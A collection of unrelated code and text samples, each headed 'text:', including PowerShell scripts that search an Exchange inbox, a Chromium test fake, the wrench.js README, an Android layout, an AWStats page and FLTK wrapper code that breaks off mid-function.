Add-Type -Path C:\EWS\Microsoft.Exchange.WebServices.dll
$svc = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService
$svc.AutoDiscoverUrl("administrator@contoso.com")

$view = New-Object -TypeName `
Microsoft.Exchange.WebServices.Data.ItemView `
-ArgumentList 100

$propertyset = New-Object Microsoft.Exchange.WebServices.Data.PropertySet (
  [Microsoft.Exchange.WebServices.Data.BasePropertySet]::IdOnly,
  [Microsoft.Exchange.WebServices.Data.ItemSchema]::Subject,
  [Microsoft.Exchange.WebServices.Data.ItemSchema]::HasAttachments,
  [Microsoft.Exchange.WebServices.Data.ItemSchema]::DisplayTo,
  [Microsoft.Exchange.WebServices.Data.ItemSchema]::DisplayCc,
  [Microsoft.Exchange.WebServices.Data.ItemSchema]::DateTimeSent,
  [Microsoft.Exchange.WebServices.Data.ItemSchema]::DateTimeReceived
)

$view.PropertySet = $propertyset

$query = "Subject:sales"

$items = $svc.FindItems("Inbox",$query,$view)

$items | Foreach-Object{
  New-Object PSObject -Property @{
    Id = $_.Id.ToString()
    Subject = $_.Subject
    To = $_.DisplayTo
    Cc = $_.DisplayCc
    HasAttachments = [bool]$_.HasAttachments
    Sent = $_.DateTimeSent
    Received = $_.DateTimeReceived
  }
}

#example 2:

Param($query,$mailbox)

Add-Type -Path C:\EWS\Microsoft.Exchange.WebServices.dll
$svc = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService

$id = New-Object -TypeName `
Microsoft.Exchange.WebServices.Data.ImpersonatedUserId `
-ArgumentList "SmtpAddress",$mailbox

$svc.ImpersonatedUserId = $id
$svc.AutoDiscoverUrl($mailbox)

$view = New-Object -TypeName `
Microsoft.Exchange.WebServices.Data.ItemView `
-ArgumentList 100

$propertyset = New-Object Microsoft.Exchange.WebServices.Data.PropertySet (
  [Microsoft.Exchange.WebServices.Data.BasePropertySet]::IdOnly,
  [Microsoft.Exchange.WebServices.Data.ItemSchema]::Subject,
  [Microsoft.Exchange.WebServices.Data.ItemSchema]::HasAttachments,
  [Microsoft.Exchange.WebServices.Data.ItemSchema]::DisplayTo,
  [Microsoft.Exchange.WebServices.Data.ItemSchema]::DisplayCc,
  [Microsoft.Exchange.WebServices.Data.ItemSchema]::DateTimeSent,
  [Microsoft.Exchange.WebServices.Data.ItemSchema]::DateTimeReceived
)

$view.PropertySet = $propertyset

$items = $svc.FindItems("Inbox",$query,$view)

$items | Foreach-Object{
  $emailProps = New-Object -TypeName `
  Microsoft.Exchange.WebServices.Data.PropertySet(
    [Microsoft.Exchange.WebServices.Data.BasePropertySet]::IdOnly,
    [Microsoft.Exchange.WebServices.Data.ItemSchema]::Body
  )

  $emailProps.RequestedBodyType = "Text"
  $email = [Microsoft.Exchange.WebServices.Data.EmailMessage]::Bind(
    $svc, $_.Id, $emailProps
  )

  New-Object PSObject -Property @{
    Id = $_.Id.ToString()
    Subject = $_.Subject
    To = $_.DisplayTo
    Cc = $_.DisplayCc
    HasAttachments = [bool]$_.HasAttachments
    Sent = $_.DateTimeSent
    Received = $_.DateTimeReceived
    Body = $email.Body
  }
}


text:
namespace WalletGui {

LoggerAdapter& LoggerAdapter::instance() {
  static LoggerAdapter inst;
  return inst;
}

void LoggerAdapter::init() {
  Common::JsonValue loggerConfiguration(Common::JsonValue::OBJECT);
  loggerConfiguration.insert("globalLevel", static_cast<int64_t>(Logging::INFO));
  Common::JsonValue& cfgLoggers = loggerConfiguration.insert("loggers", Common::JsonValue::ARRAY);
  Common::JsonValue& fileLogger = cfgLoggers.pushBack(Common::JsonValue::OBJECT);
  fileLogger.insert("type", "file");
  fileLogger.insert("filename", Settings::instance().getDataDir().absoluteFilePath("digitalnotewallet.log").toStdString());
  fileLogger.insert("level", static_cast<int64_t>(Logging::INFO));
  m_logManager.configure(loggerConfiguration);
}

LoggerAdapter::LoggerAdapter() : m_logManager() {
}

LoggerAdapter::~LoggerAdapter() {
}

Logging::LoggerManager& LoggerAdapter::getLoggerManager() {
  return m_logManager;
}

}


text:
const chalk = require('chalk');
const { curry } = require('ramda');

const log = curry((color, string) => console.info(color(string)));

const good = log(chalk.green);
const info = log(chalk.cyan);
const warn = log(chalk.magenta);
const bad = log(chalk.red.bold);

module.exports = (server, port) => {
  const resolve = (signal) => {
    info('\n');
    info(`Signal ${signal} received`);
    info(`Express is shutting down on http://localhost:${port}`);

    server.close();
    good('\nThe server shutdown gracefully');
  };
  const reject = (signal, error) => {
    warn('\nThe server did NOT shutdown gracefully\n');
    bad(error);
  };

  const shutdown = (signal) => {
    try {
      resolve(signal);
      process.exit(0);
    } catch (error) {
      reject(signal, error);
      process.exit(-1);
    }
  };

  const signals = ['SIGTERM', 'SIGHUP', 'SIGINT'];
  signals.forEach(signal => process.on(signal, () => shutdown(signal)));
};


text:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<meta name="generator" content="AWStats 6.7 (build 1.892) from config file awstats.2818332.conf (http://awstats.sourceforge.net)">
<meta name="robots" content="noindex,nofollow">
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta http-equiv="description" content="Awstats - Advanced Web Statistics for 0340a95.netsolhost.com (2015-03)">
<title>Statistics for 0340a95.netsolhost.com (2015-03)</title>

<form name="FormDateFilter" action="/cgi-bin/awstats.pl?config=2818332.1503&configdir=/data/22/2/81/47/2570699/meta/2818332/config&output=allrobots" style="padding: 0px 0px 0px 0px; margin-top: 0">

Statistics for: 	0340a95.netsolhost.com

Last Update: 	28 Mar 2015 - 01:41

Reported period:	Month Mar 2015

</form>

Close window

Robots/Spiders visitors

16 different robots	Hits	Bandwidth	Last visit

Googlebot	427	5.11 MB	27 Mar 2015 - 23:44

Unknown robot (identified by 'bot/' or 'bot-')	317	11.44 MB	27 Mar 2015 - 23:40

BaiDuSpider	167	3.01 MB	27 Mar 2015 - 21:26

Unknown robot (identified by 'spider')	90	1.35 MB	27 Mar 2015 - 14:54

Yandex bot	63	1.66 MB	26 Mar 2015 - 15:18

Unknown robot (identified by 'robot')	45	1.20 MB	27 Mar 2015 - 23:07

Unknown robot (identified by 'crawl')	37	1.01 MB	27 Mar 2015 - 18:06

SeznamBot	12	771.16 KB	19 Mar 2015 - 06:50

Yahoo Slurp	10	463.58 KB	26 Mar 2015 - 10:12

Alexa (IA Archiver)	9	443.85 KB	24 Mar 2015 - 18:56

Java (Often spam bot)	7	0	15 Mar 2015 - 08:17

MJ12bot	5	43.41 KB	22 Mar 2015 - 12:35

SurveyBot	3	23.74 KB	22 Mar 2015 - 12:24

Netcraft	2	15.82 KB	05 Mar 2015 - 19:19

Nutch	2	15.82 KB	16 Mar 2015 - 05:15

NG 1.x (Exalead)	1	7.91 KB	23 Mar 2015 - 10:10

* Robots shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.

Advanced Web Statistics 6.7 (build 1.892) - Created by awstats


text:
/*
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package org.hdl.tensorflow.yarn.rpc;

import org.apache.hadoop.yarn.exceptions.YarnException;

import java.io.IOException;

public interface TensorFlowCluster {
  public GetClusterSpecResponse getClusterSpec(GetClusterSpecRequest request)
      throws YarnException, IOException;
}


text:
// Copyright 2020 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include "chrome/browser/nearby_sharing/fake_nearby_connections_manager.h"

#include "base/containers/contains.h"
#include "base/threading/thread_restrictions.h"

FakeNearbyConnectionsManager::FakeNearbyConnectionsManager() = default;

FakeNearbyConnectionsManager::~FakeNearbyConnectionsManager() = default;

void FakeNearbyConnectionsManager::Shutdown() {
  DCHECK(!IsAdvertising());
  DCHECK(!IsDiscovering());
  is_shutdown_ = true;
}

void FakeNearbyConnectionsManager::StartAdvertising(
    std::vector<uint8_t> endpoint_info,
    IncomingConnectionListener* listener,
    PowerLevel power_level,
    DataUsage data_usage,
    ConnectionsCallback callback) {
  DCHECK(!IsAdvertising());
  is_shutdown_ = false;
  advertising_listener_ = listener;
  advertising_data_usage_ = data_usage;
  advertising_power_level_ = power_level;
  advertising_endpoint_info_ = std::move(endpoint_info);
  if (capture_next_start_advertising_callback_) {
    pending_start_advertising_callback_ = std::move(callback);
    capture_next_start_advertising_callback_ = false;
  } else {
    std::move(callback).Run(
        NearbyConnectionsManager::ConnectionsStatus::kSuccess);
  }
}

void FakeNearbyConnectionsManager::StopAdvertising(
    ConnectionsCallback callback) {
  DCHECK(IsAdvertising());
  DCHECK(!is_shutdown());
  advertising_listener_ = nullptr;
  advertising_data_usage_ = DataUsage::kUnknown;
  advertising_power_level_ = PowerLevel::kUnknown;
  advertising_endpoint_info_.reset();
  if (capture_next_stop_advertising_callback_) {
    pending_stop_advertising_callback_ = std::move(callback);
    capture_next_stop_advertising_callback_ = false;
  } else {
    std::move(callback).Run(
        NearbyConnectionsManager::ConnectionsStatus::kSuccess);
  }
}

void FakeNearbyConnectionsManager::StartDiscovery(
    DiscoveryListener* listener,
    DataUsage data_usage,
    ConnectionsCallback callback) {
  is_shutdown_ = false;
  discovery_listener_ = listener;
  std::move(callback).Run(
      NearbyConnectionsManager::ConnectionsStatus::kSuccess);
}

void FakeNearbyConnectionsManager::StopDiscovery() {
  DCHECK(IsDiscovering());
  DCHECK(!is_shutdown());
  discovery_listener_ = nullptr;
  // TODO(alexchau): Implement.
}

void FakeNearbyConnectionsManager::Connect(
    std::vector<uint8_t> endpoint_info,
    const std::string& endpoint_id,
    absl::optional<std::vector<uint8_t>> bluetooth_mac_address,
    DataUsage data_usage,
    NearbyConnectionCallback callback) {
  DCHECK(!is_shutdown());
  connected_data_usage_ = data_usage;
  connection_endpoint_infos_.emplace(endpoint_id, std::move(endpoint_info));
  std::move(callback).Run(connection_);
}

void FakeNearbyConnectionsManager::Disconnect(const std::string& endpoint_id) {
  DCHECK(!is_shutdown());
  connection_endpoint_infos_.erase(endpoint_id);
}

void FakeNearbyConnectionsManager::Send(
    const std::string& endpoint_id,
    PayloadPtr payload,
    base::WeakPtr<PayloadStatusListener> listener) {
  DCHECK(!is_shutdown());
  if (send_payload_callback_)
    send_payload_callback_.Run(std::move(payload), listener);
}

void FakeNearbyConnectionsManager::RegisterPayloadStatusListener(
    int64_t payload_id,
    base::WeakPtr<PayloadStatusListener> listener) {
  DCHECK(!is_shutdown());

  payload_status_listeners_[payload_id] = listener;
}

void FakeNearbyConnectionsManager::RegisterPayloadPath(
    int64_t payload_id,
    const base::FilePath& file_path,
    ConnectionsCallback callback) {
  DCHECK(!is_shutdown());

  registered_payload_paths_[payload_id] = file_path;
  {
    base::ScopedAllowBlockingForTesting allow_blocking;
    base::File file(file_path, base::File::Flags::FLAG_CREATE_ALWAYS |
                                   base::File::Flags::FLAG_READ |
                                   base::File::Flags::FLAG_WRITE);
  }

  auto it = payload_path_status_.find(payload_id);
  if (it == payload_path_status_.end()) {
    std::move(callback).Run(
        location::nearby::connections::mojom::Status::kPayloadUnknown);
    return;
  }

  std::move(callback).Run(it->second);
}

FakeNearbyConnectionsManager::Payload*
FakeNearbyConnectionsManager::GetIncomingPayload(int64_t payload_id) {
  DCHECK(!is_shutdown());
  auto it = incoming_payloads_.find(payload_id);
  if (it == incoming_payloads_.end())
    return nullptr;

  return it->second.get();
}

void FakeNearbyConnectionsManager::Cancel(int64_t payload_id) {
  DCHECK(!is_shutdown());
  base::WeakPtr<PayloadStatusListener> listener =
      GetRegisteredPayloadStatusListener(payload_id);
  if (listener) {
    listener->OnStatusUpdate(
        location::nearby::connections::mojom::PayloadTransferUpdate::New(
            payload_id,
            location::nearby::connections::mojom::PayloadStatus::kCanceled,
            /*total_bytes=*/0,
            /*bytes_transferred=*/0),
        /*upgraded_medium=*/absl::nullopt);
    payload_status_listeners_.erase(payload_id);
  }

  canceled_payload_ids_.insert(payload_id);
}

void FakeNearbyConnectionsManager::ClearIncomingPayloads() {
  base::ScopedAllowBlockingForTesting allow_blocking;

  incoming_payloads_.clear();
  payload_status_listeners_.clear();
}

absl::optional<std::vector<uint8_t>>
FakeNearbyConnectionsManager::GetRawAuthenticationToken(
    const std::string& endpoint_id) {
  DCHECK(!is_shutdown());

  auto iter = endpoint_auth_tokens_.find(endpoint_id);
  if (iter != endpoint_auth_tokens_.end())
    return iter->second;

  return absl::nullopt;
}

void FakeNearbyConnectionsManager::SetRawAuthenticationToken(
    const std::string& endpoint_id,
    std::vector<uint8_t> token) {
  endpoint_auth_tokens_[endpoint_id] = std::move(token);
}

void FakeNearbyConnectionsManager::UpgradeBandwidth(
    const std::string& endpoint_id) {
  upgrade_bandwidth_endpoint_ids_.insert(endpoint_id);
}

void FakeNearbyConnectionsManager::OnEndpointFound(
    const std::string& endpoint_id,
    location::nearby::connections::mojom::DiscoveredEndpointInfoPtr info) {
  if (!discovery_listener_)
    return;

  discovery_listener_->OnEndpointDiscovered(endpoint_id, info->endpoint_info);
}

void FakeNearbyConnectionsManager::OnEndpointLost(
    const std::string& endpoint_id) {
  if (!discovery_listener_)
    return;

  discovery_listener_->OnEndpointLost(endpoint_id);
}

bool FakeNearbyConnectionsManager::IsAdvertising() const {
  return advertising_listener_ != nullptr;
}

bool FakeNearbyConnectionsManager::IsDiscovering() const {
  return discovery_listener_ != nullptr;
}

bool FakeNearbyConnectionsManager::DidUpgradeBandwidth(
    const std::string& endpoint_id) const {
  return upgrade_bandwidth_endpoint_ids_.find(endpoint_id) !=
         upgrade_bandwidth_endpoint_ids_.end();
}

void FakeNearbyConnectionsManager::SetPayloadPathStatus(
    int64_t payload_id,
    ConnectionsStatus status) {
  payload_path_status_[payload_id] = status;
}

base::WeakPtr<FakeNearbyConnectionsManager::PayloadStatusListener>
FakeNearbyConnectionsManager::GetRegisteredPayloadStatusListener(
    int64_t payload_id) {
  auto it = payload_status_listeners_.find(payload_id);
  if (it != payload_status_listeners_.end())
    return it->second;

  return nullptr;
}

void FakeNearbyConnectionsManager::SetIncomingPayload(int64_t payload_id,
                                                      PayloadPtr payload) {
  incoming_payloads_[payload_id] = std::move(payload);
}

bool FakeNearbyConnectionsManager::WasPayloadCanceled(
    const int64_t& payload_id) const {
  return base::Contains(canceled_payload_ids_, payload_id);
}

absl::optional<base::FilePath>
FakeNearbyConnectionsManager::GetRegisteredPayloadPath(int64_t payload_id) {
  auto it = registered_payload_paths_.find(payload_id);
  if (it == registered_payload_paths_.end())
    return absl::nullopt;

  return it->second;
}

void FakeNearbyConnectionsManager::CleanupForProcessStopped() {
  advertising_listener_ = nullptr;
  advertising_data_usage_ = DataUsage::kUnknown;
  advertising_power_level_ = PowerLevel::kUnknown;
  advertising_endpoint_info_.reset();

  discovery_listener_ = nullptr;

  is_shutdown_ = true;
}

FakeNearbyConnectionsManager::ConnectionsCallback
FakeNearbyConnectionsManager::GetStartAdvertisingCallback() {
  capture_next_start_advertising_callback_ = true;
  return base::BindOnce(
      &FakeNearbyConnectionsManager::HandleStartAdvertisingCallback,
      base::Unretained(this));
}

FakeNearbyConnectionsManager::ConnectionsCallback
FakeNearbyConnectionsManager::GetStopAdvertisingCallback() {
  capture_next_stop_advertising_callback_ = true;
  return base::BindOnce(
      &FakeNearbyConnectionsManager::HandleStopAdvertisingCallback,
      base::Unretained(this));
}

void FakeNearbyConnectionsManager::HandleStartAdvertisingCallback(
    ConnectionsStatus status) {
  if (pending_start_advertising_callback_) {
    std::move(pending_start_advertising_callback_).Run(status);
  }
  capture_next_start_advertising_callback_ = false;
}

void FakeNearbyConnectionsManager::HandleStopAdvertisingCallback(
    ConnectionsStatus status) {
  if (pending_stop_advertising_callback_) {
    std::move(pending_stop_advertising_callback_).Run(status);
  }
  capture_next_stop_advertising_callback_ = false;
}


text:
wrench.js - Recursive file operations in Node.js
----------------------------------------------------------------------------
While I love Node.js, I've found myself missing some functions. Things like
recursively deleting/chmodding a directory (or even deep copying a directory),
or even a basic line reader, shouldn't need to be re-invented time and time again.

That said, here's my attempt at a re-usable solution, at least until something
more formalized gets integrated into Node.js (*hint hint*). wrench.js is fairly simple
to use - check out the documentation/examples below:

Installation
-----------------------------------------------------------------------------

    npm install wrench

Usage
-----------------------------------------------------------------------------
``` javascript
var wrench = require('wrench'),
	util = require('util');
```

### Synchronous operations
``` javascript
// Recursively create directories, sub-trees and all.
wrench.mkdirSyncRecursive(dir, 0777);

// Recursively delete the entire sub-tree of a directory, then kill the directory
wrench.rmdirSyncRecursive('my_directory_name', failSilently);

// Recursively read directories contents.
wrench.readdirSyncRecursive('my_directory_name');

// Recursively chmod the entire sub-tree of a directory
wrench.chmodSyncRecursive('my_directory_name', 0755);

// Recursively chown the entire sub-tree of a directory
wrench.chownSyncRecursive("directory", uid, gid);

// Deep-copy an existing directory
wrench.copyDirSyncRecursive('directory_to_copy', 'location_where_copy_should_end_up');

// Read lines in from a file until you hit the end
var f = new wrench.LineReader('x.txt');
while(f.hasNextLine()) {
	util.puts(x.getNextLine());
}
```

### Asynchronous operations
``` javascript
// Recursively read directories contents
var files = [];
wrench.readdirRecursive('my_directory_name', function(error, curFiles) {
    if (files) {
        files = files.concat(curFiles);
    } else {
        // files list contains all the directory contents now
    }
});

```

Questions, comments? Hit me up. (ryan [at] venodesigns.net | http://twitter.com/ryanmcgrath)


text:
// NOCOMPILE
// this example uses FileSaver.js for which we don't have an externs file.
goog.require('ol.Map');
goog.require('ol.View');
goog.require('ol.control');
goog.require('ol.format.GeoJSON');
goog.require('ol.layer.Tile');
goog.require('ol.layer.Vector');
goog.require('ol.source.OSM');
goog.require('ol.source.Vector');

var map = new ol.Map({
  layers: [
    new ol.layer.Tile({
      source: new ol.source.OSM()
    }),
    new ol.layer.Vector({
      source: new ol.source.Vector({
        url: 'data/geojson/countries.geojson',
        format: new ol.format.GeoJSON()
      })
    })
  ],
  target: 'map',
  controls: ol.control.defaults({
    attributionOptions: /** @type {olx.control.AttributionOptions} */ ({
      collapsible: false
    })
  }),
  view: new ol.View({
    center: [0, 0],
    zoom: 2
  })
});

document.getElementById('export-png').addEventListener('click', function() {
  map.once('postcompose', function(event) {
    var canvas = event.context.canvas;
    canvas.toBlob(function(blob) {
      saveAs(blob, 'map.png');
    });
  });
  map.renderSync();
});


text:
<?xml version="1.0" encoding="utf-8"?>
<com.chenantao.autolayout.AutoFrameLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent">

    <android.support.v4.widget.DrawerLayout
        android:id="@+id/drawerLayout"
        xmlns:tools="http://schemas.android.com/tools"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:background="@color/background_color"
        tools:context=".mvc.view.activity.invitation.HomeActivity">

        <android.support.v4.widget.SwipeRefreshLayout
            android:id="@+id/swipeRefreshLayout"
            android:layout_width="match_parent"
            android:layout_height="match_parent">

            <LinearLayout
                android:layout_width="match_parent"
                android:layout_height="match_parent"
                android:background="@color/black_large_alpha"
                android:orientation="vertical">

                <include layout="@layout/include_tool_bar"/>

                <com.chenantao.autolayout.AutoRecyclerView
                    android:id="@+id/rvInvitation"
                    android:layout_width="match_parent"
                    android:layout_height="match_parent"/>
            </LinearLayout>
        </android.support.v4.widget.SwipeRefreshLayout>

        <android.support.design.widget.NavigationView
            android:layout_width="wrap_content"
            android:layout_height="match_parent"
            android:layout_gravity="start">

            <com.chenantao.autolayout.AutoLinearLayout
                android:layout_width="match_parent"
                android:layout_height="match_parent"
                android:orientation="vertical">

                <android.support.design.widget.NavigationView
                    android:id="@+id/navigationView"
                    android:layout_width="wrap_content"
                    android:layout_height="0dp"
                    android:elevation="0dp"
                    android:layout_gravity="start"
                    android:layout_weight="8"
                    app:headerLayout="@layout/drawer_header"
                    app:itemTextColor="@drawable/selector_item"
                    app:menu="@menu/drawer_menu"
                    app:theme="@style/drawer_style"/>

                <!--footer-->
                <com.chenantao.autolayout.AutoLinearLayout
                    android:layout_width="match_parent"
                    android:layout_height="0dp"
                    android:layout_weight="2"
                    android:orientation="vertical">

                    <View
                        android:layout_marginTop="40px"
                        android:layout_width="match_parent"
                        android:layout_height="1px"
                        android:background="@color/black_big_alpha"/>

                    <com.balysv.materialripple.MaterialRippleLayout
                        android:layout_width="match_parent"
                        android:layout_height="wrap_content"
                        app:mrl_rippleAlpha="0.05">

                        <TextView
                            android:id="@+id/tvLogout"
                            style="@style/mid_black"
                            android:layout_width="match_parent"
                            android:layout_height="wrap_content"
                            android:layout_marginTop="10px"
                            android:padding="10dp"
                            android:text="退出账号"
                            android:textStyle="bold"/>
                    </com.balysv.materialripple.MaterialRippleLayout>

                    <com.balysv.materialripple.MaterialRippleLayout
                        android:layout_width="match_parent"
                        android:layout_height="wrap_content"
                        app:mrl_rippleAlpha="0.05">

                        <TextView
                            android:id="@+id/tvExit"
                            style="@style/mid_black"
                            android:layout_width="match_parent"
                            android:layout_height="wrap_content"
                            android:layout_marginTop="10px"
                            android:padding="10dp"
                            android:text="退出应用"
                            android:textStyle="bold"/>
                    </com.balysv.materialripple.MaterialRippleLayout>

                </com.chenantao.autolayout.AutoLinearLayout>

            </com.chenantao.autolayout.AutoLinearLayout>

        </android.support.design.widget.NavigationView>

    </android.support.v4.widget.DrawerLayout>

    <View
        android:id="@+id/viewDim"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:background="#C0000000"
        android:visibility="gone"/>

    <View
        android:id="@+id/guideView"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:background="@mipmap/home_first_bg"
        android:visibility="gone"/>
</com.chenantao.autolayout.AutoFrameLayout>


text:
package treeton.core.scape;

public class ScapeLogicPattern {
}


text:
ACCEPTED

#### According to
Index Fungorum

#### Published in
Beih. Sydowia 2: 373 (1961)

#### Original name
Meliola merrillii var. major Hansf.

### Remarks
null


text:
package browserAcces;

import java.io.IOException;
import javax.sound.sampled.LineUnavailableException;
import javax.sound.sampled.UnsupportedAudioFileException;

public class Main
{
	public static void main(String[] args) throws UnsupportedAudioFileException, IOException, LineUnavailableException, InterruptedException
	{

	}
}


text: int MaximumContinuousSubsequenceSum(const int *s, int n);


text:
$(".redirectionButton").on("click",function(event){

  	var redirection_id = $(this).attr('data-id'); // Extract info from data-* attributes

	$.getJSON( "ajax/goRedirection/"+redirection_id);

});


text:
package soundcloud

import ()

type CommentApi struct {
	commentEndpoint
}

func (api *Api) Comment(id uint64) *CommentApi {
	return &CommentApi{*api.newCommentEndpoint("comments", id)}
}

// No idea how these endpoints works
// func (t *PlaylistApi) SharedToUsers() (*usersEndpoint) {
// func (t *PlaylistApi) SharedToEmails() (*emailsEndpoint) {
// func (t *PlaylistApi) SecretToken() (*tokenEndpoint)


text:
(function (enyo) {

	//*@public
	/**
		_enyo.BooleanBinding_ is a binding that will type-cast any truthy or falsey
		value to an explicit boolean value.
	*/
	enyo.kind({

		// ...........................
		// PUBLIC PROPERTIES

		//*@public
		name: "enyo.BooleanBinding",

		//*@public
		kind: "enyo.Binding",

		// ...........................
		// PROTECTED METHODS

		//*@protected
		transform: function (value, direction, binding) {
			return !! value;
		}

	});

})(enyo);


text:
EXPORT {
  Fl_DerivedColor_Chooser::Fl_DerivedColor_Chooser(int X, int Y, int W, int H, const char *l, fl_Widget_Virtual_Funcs* funcs, fl_Color_Chooser_Virtual_Funcs* cfs) : Fl_Color_Chooser(X,Y,W,H,l){
    overriddenFuncs = funcs;
    cOverriddenFuncs = cfs;
    other_data = (void*)0;
  }
  Fl_DerivedColor_Chooser::Fl_DerivedColor_Chooser(int X, int Y, int W, int H, fl_Widget_Virtual_Funcs* funcs, fl_Color_Chooser_Virtual_Funcs* cfs):Fl_Color_Chooser(X,Y,W,H){
    overriddenFuncs = funcs;
    cOverriddenFuncs = cfs;
    other_data = (void*)0;
  }
  Fl_DerivedColor_Chooser::~Fl_DerivedColor_Chooser(){
    destroy_data();
    free(cOverriddenFuncs);
    free(overriddenFuncs);
  }

void Fl_DerivedColor_Chooser::destroy_data(){
  if (this->overriddenFuncs->destroy_data != NULL){
    fl_DoNotCall* fps = NULL;
    int num_fps = C_to_Fl_Callback::function_pointers_to_free(this->overriddenFuncs, this->cOverriddenFuncs,&fps);
    fl_Callback* cb = C_to_Fl_Callback::get_callback(this);
    Function_Pointers_To_Free* res = C_to_Fl_Callback::gather_function_pointers(num_fps+1,num_fps,fps,(fl_DoNotCall)cb);
    this->overriddenFuncs->destroy_data((fl_Color_Chooser)this,res);
    if (fps) { free(fps); }
    free(res);
  }
}
  void Fl_DerivedColor_Chooser::draw(){
    if (this->overriddenFuncs->draw != NULL) {
      this->overriddenFuncs->draw((fl_Color_Chooser) this);
    }
    else {
      Fl_Color_Chooser::draw();
    }
  }

  void Fl_DerivedColor_Chooser::draw_super(){
    Fl_Color_Chooser::draw();
  }

  int Fl_DerivedColor_Chooser::handle(int event){
    int i;
    if (this->overriddenFuncs->handle != NULL) {
      i = this->overriddenFuncs->handle((fl_Color_Chooser) this,event);
    }
    else {
      i = Fl_Color_Chooser::handle(event);
    }
    return i;
  }
  int Fl_DerivedColor_Chooser::handle_super(int event){
    return Fl_Color_Chooser::handle(event);
  }

  void Fl_DerivedColor_Chooser::resize(int x, int y, int w, int h){
    if (this->overriddenFuncs->resize != NULL) {
      this->overriddenFuncs->resize((fl_Color_Chooser) this,x,y,w,h);
    }
    else {
      Fl_Color_Chooser::resize(x,y,w,h);
    }
  }

  void Fl_DerivedColor_Chooser::resize_super(int x, int y, int w, int h){
    Fl_Color_Chooser::resize(x,y,w,h);
  }
  void Fl_DerivedColor_Chooser::show(){
    if (this->overriddenFuncs->show != NULL) {
      this->overriddenFuncs->show((fl_Color_Chooser) this);
    }
    else {
      Fl_Color_Chooser::show();
    }
  }
  void Fl_DerivedColor_Chooser::show_super(){
    Fl_Color_Chooser::show();
  }

  void Fl_DerivedColor_Chooser::hide(){
    if (this->overriddenFuncs->hide != NULL) {
      this->overriddenFuncs->hide((fl_Color_Chooser) this);
    }
    else {
      Fl_Color_Chooser::hide();
    }
  }
  void Fl_DerivedColor_Chooser::hide_super(){
    Fl_Color_Chooser::hide();
  }

  int Fl_DerivedColor_Chooser::mode() {
    if (this->cOverriddenFuncs && this->cOverriddenFuncs->get_mode) {
      return this->cOverriddenFuncs->get_mode((fl_Color_Chooser) this);
    }
    else {
      return Fl_Color_Chooser::mode();
    }
  };
  int Fl_DerivedColor_Chooser::mode_super() {
    return Fl_Color_Chooser::mode();
  };
  void Fl_DerivedColor_Chooser::mode(int newMode){
    if (this->cOverriddenFuncs && this->cOverriddenFuncs->set_mode) {
      this->cOverriddenFuncs->set_mode((fl_Color_Chooser) this, newMode);
    }
    else {
      Fl_Color_Chooser::mode(newMode);
    }
  }
  void Fl_DerivedColor_Chooser::mode_super(int newMode){
    Fl_Color_Chooser::mode(newMode);
  }
  double Fl_DerivedColor_Chooser::hue(){
    if (this->cOverriddenFuncs && this->cOverriddenFuncs->hue) {
      return this->cOverriddenFuncs->hue((fl_Color_Chooser) this);
    }
    else {
      return Fl_Color_Chooser::hue();
    }
  };
  double Fl_DerivedColor_Chooser::hue_super(){
    return Fl_Color_Chooser::hue();
  };
  double Fl_DerivedColor_Chooser::saturation(){
    if (this->cOverriddenFuncs && this->cOverriddenFuncs->saturation) {
      return this->cOverriddenFuncs->saturation((fl_Color_Chooser) this);
    }
    else {
      return Fl_Color_Chooser::saturation();
    }
  };
  double Fl_DerivedColor_Chooser::saturation_super(){
    return Fl_Color_Chooser::saturation();
  };
  double Fl_DerivedColor_Chooser::value(){
    if (this->cOverriddenFuncs && this->cOverriddenFuncs->value) {
      return this->cOverriddenFuncs->value((fl_Color_Chooser) this);
    }
    else {
      return Fl_Color_Chooser::value();
    }
  };
  double Fl_DerivedColor_Chooser::value_super(){
    return Fl_Color_Chooser::value();
  };
  double Fl_DerivedColor_Chooser::r(){
    if (this->cOverriddenFuncs && this->cOverriddenFuncs->r) {
      return this->cOverriddenFuncs->r((fl_Color_Chooser) this);
    }
    else {
      return Fl_Color_Chooser::r();
    }
  }
  double Fl_DerivedColor_Chooser::r_super(){
    return Fl_Color_Chooser::r();
  }
  double Fl_DerivedColor_Chooser::g(){
    if (this->cOverriddenFuncs && this->cOverriddenFuncs->g) {
      return this->cOverriddenFuncs->g((fl_Color_Chooser) this);
    }
    else {
      return Fl_Color_Chooser::g();
    }
  };
  double Fl_DerivedColor_Chooser::g_super(){
    return Fl_Color_Chooser::g();
  };
  double Fl_DerivedColor_Chooser::b(){
    if (this->cOverriddenFuncs && this->cOverriddenFuncs->b) {
      return this->cOverriddenFuncs->b((fl_Color_Chooser) this);
    }
    else {
      return Fl_Color_Chooser::b();
    }
  };
  double Fl_DerivedColor_Chooser::b_super(){
    return Fl_Color_Chooser::b();
  };
  int Fl_DerivedColor_Chooser::hsv(double H, double S, double V){
    if (this->cOverriddenFuncs && this->cOverriddenFuncs->hsv) {
      return this->cOverriddenFuncs->hsv((fl_Color_Chooser) this, H, S, V);
    }
    else {
      return Fl_Color_Chooser::hsv(H,S,V);
    }
  };
  int Fl_DerivedColor_Chooser::hsv_super(double H, double S, double V){
    return Fl_Color_Chooser::hsv(H,S,V);
  };
  int Fl_DerivedColor_Chooser::rgb(double R, double G, double B){
    if (this->cOverriddenFuncs && this->cOverriddenFuncs->rgb) {
      return this->cOverriddenFuncs->rgb((fl_Color_Chooser) this, R, G, B);
    }
    else {
